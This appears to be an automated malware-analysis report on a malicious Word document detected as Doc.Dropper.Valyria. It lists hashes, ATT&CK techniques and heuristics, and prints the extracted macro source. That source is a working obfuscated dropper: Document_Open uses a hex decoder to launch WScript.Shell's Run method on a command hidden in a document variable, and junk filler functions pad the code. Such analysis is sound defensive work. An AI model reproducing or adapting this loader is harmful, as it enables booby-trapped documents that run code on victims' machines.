Doc.Dropper.Valyria-6666974-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 b05b6680219d8242…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-07-28 22:55:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 4168d24a3cc7e873abbd3f1309a70b1e SHA-1: 6260c6d9bd4d9c5700526d1ff21aec9088b3531d SHA-256: b05b6680219d8242e1830a4e82408a0f412ce1d8271ecf614c204a1ed9fc98f5
302 Risk Score

Malware Insights

Doc.Dropper.Valyria-6666974-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing obfuscated VBA macros. The 'Document_Open' macro is triggered upon opening, which then calls 'Application.Run ZE_("4F60")'. The ZE_ function decodes a hex string, suggesting it's part of a loader mechanism. The presence of 'CreateObject', 'CallByName', and 'Shell' heuristics, along with the ClamAV detection name 'Doc.Dropper.Valyria-6666974-0', strongly indicates this macro is designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6666974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6666974-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3075 bytes
SHA-256: c221caeafbef46a57b82b1c8b317b3ac72aa906581dddffe0c797371c251ee4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function XGZUJFR_() As String
Dim OVPCLSH_As String = "QVUAQUIRHW_":TKENVCSUZTS_(YVAGECSCYU_ & FPTCURTPPKM_(12, 6), 11)):Random(12, 6)XPNRHAPSVJ_:SCICJVG_( & vTVEKVTXH_:TKENVCSUZTS_(YVAGECSCYU_ & FPTCURTPPKM_(12, 6), 11)):Random(12, 6)XPNRHAPSVJ_:Random(12, 6)XPNRHAPSVJ_:Dim TKENVCSUZTS_(YVAGECSCYU_ & FPTCURTPPKM_(12, 6), 11)):YOKBTJ_(MZLUPWKOG_)):For i = 13 To 97:DUUOIQD_(aMLFDWL_ & XYYICT_(54, v), 11)):Next i:DPVSJZF_ = aGZAEEZNMPQC_:DPVSJZF_ = aGZAEEZNMPQC_:Dim OVPCLSH_As String = "QVUAQUIRHW_":SCICJVG_( & vTVEKVTXH_:TKENVCSUZTS_(YVAGECSCYU_ & FPTCURTPPKM_(12, 6), 11)):For i = 13 To 97:DUUOIQD_(aMLFDWL_ & XYYICT_(54, v), 11)):Next i:
End Function
Public Function ZE_(ByVal L_ As String)
   Dim O_ As String: Dim XLB_ As Long: For XLB_ = 1 To Len(L_) Step 2: O_ = O_ & Chr(Val("&H" & Mid(L_, XLB_, 2)) - 1): Next: ZE_ = O_
End Function
Private Function IKVSLAI_() As String
QLRJGJZWYLL_(DTDEATMMB_ & ZECFJUIFE_(12, 6), 11)):ISGOIC_ = aRAKUENNRNPD_:ISGOIC_ = aRAKUENNRNPD_:QLRJGJZWYLL_(DTDEATMMB_ & ZECFJUIFE_(12, 6), 11)):YZENGIZK_( & vPVXJISHNS_:Random(ZWPMMUSIDIS_):RMJLUQPUIO_(YBWBACDOIY_)):Dim STWYULKGV_As String = "PHMLTHXY_":YZENGIZK_( & vPVXJISHNS_:ISGOIC_ = aRAKUENNRNPD_:ISGOIC_ = aRAKUENNRNPD_:RMJLUQPUIO_(YBWBACDOIY_)):Dim STWYULKGV_As String = "PHMLTHXY_":Random(ZWPMMUSIDIS_):For i = 30 To 52:HEKHVGM_(aVKCHJBSDD_ & LVKITY_(34, 4), 11)):Next i:
End Function
Sub Document_Open()
Application.Run ZE_("4F60")
End Sub
Private Function RRQMCXK_() As String
SFWPYE_( & vNPQKNVKK_:SFWPYE_( & vNPQKNVKK_:For i = 24 To 72:SEFVOKFBGZY_(aFBOCTXEOPTS_ & KCKMGMOM_(34, 4), 11)):Next i:For i = 12 To 74:PIJSONLPV_(aEVWQOXG_ & PWBQOE_(54, v), 11)):Next i:Random(DLZYZPAPAB_):Dim CFYLULM_(SVULMJ_ & GDRFYUJHE_(12, 6), 11)):SFWPYE_( & vNPQKNVKK_:OULKOYKEI_(IGSTSRWRE_)):CFYLULM_(SVULMJ_ & GDRFYUJHE_(12, 6), 11)):For i = 24 To 72:SEFVOKFBGZY_(aFBOCTXEOPTS_ & KCKMGMOM_(34, 4), 11)):Next i:For i = 24 To 72:SEFVOKFBGZY_(aFBOCTXEOPTS_ & KCKMGMOM_(34, 4), 11)):Next i:Dim FRISVJVJ_As String = "LIWZQCM_":SFWPYE_( & vNPQKNVKK_:Dim FRISVJVJ_As String = "LIWZQCM_":Random(12, 6)HEPZTFZKBLR_:
End Function
Sub N_()
    CallByName CreateObject(ZE_("585464736A71752F5469666D6D")), ZE_("53766F"), VbMethod, ZE_(ActiveDocument.Variables("JMOITVF").Value), 0, True
End Sub
Private Function XKCH_() As String
XDWOMV_(KYSJKGSCJFO_)):Random(12, 6)JFITMZZG_:CGUKCVUDZD_( & vWJGLNNWU_:Random(12, 6)JFITMZZG_:Dim XDWOMV_(KYSJKGSCJFO_)):RDYOCNJHQC_(HZDGXRORI_ & TFPSNHADN_(12, 6), 11)):HCTKNHWYFO_ = aXYNUFTPSU_:XDWOMV_(KYSJKGSCJFO_)):For i = 42 To 99:EGYXRWAHU_(aKGVLQQOLWS_ & WQWHJXX_(34, 4), 11)):Next i:Dim BVDFXYPUA_As String = "NGIIKJ_":HCTKNHWYFO_ = aXYNUFTPSU_:Random(12, 6)JFITMZZG_:RDYOCNJHQC_(HZDGXRORI_ & TFPSNHADN_(12, 6), 11)):
End Function

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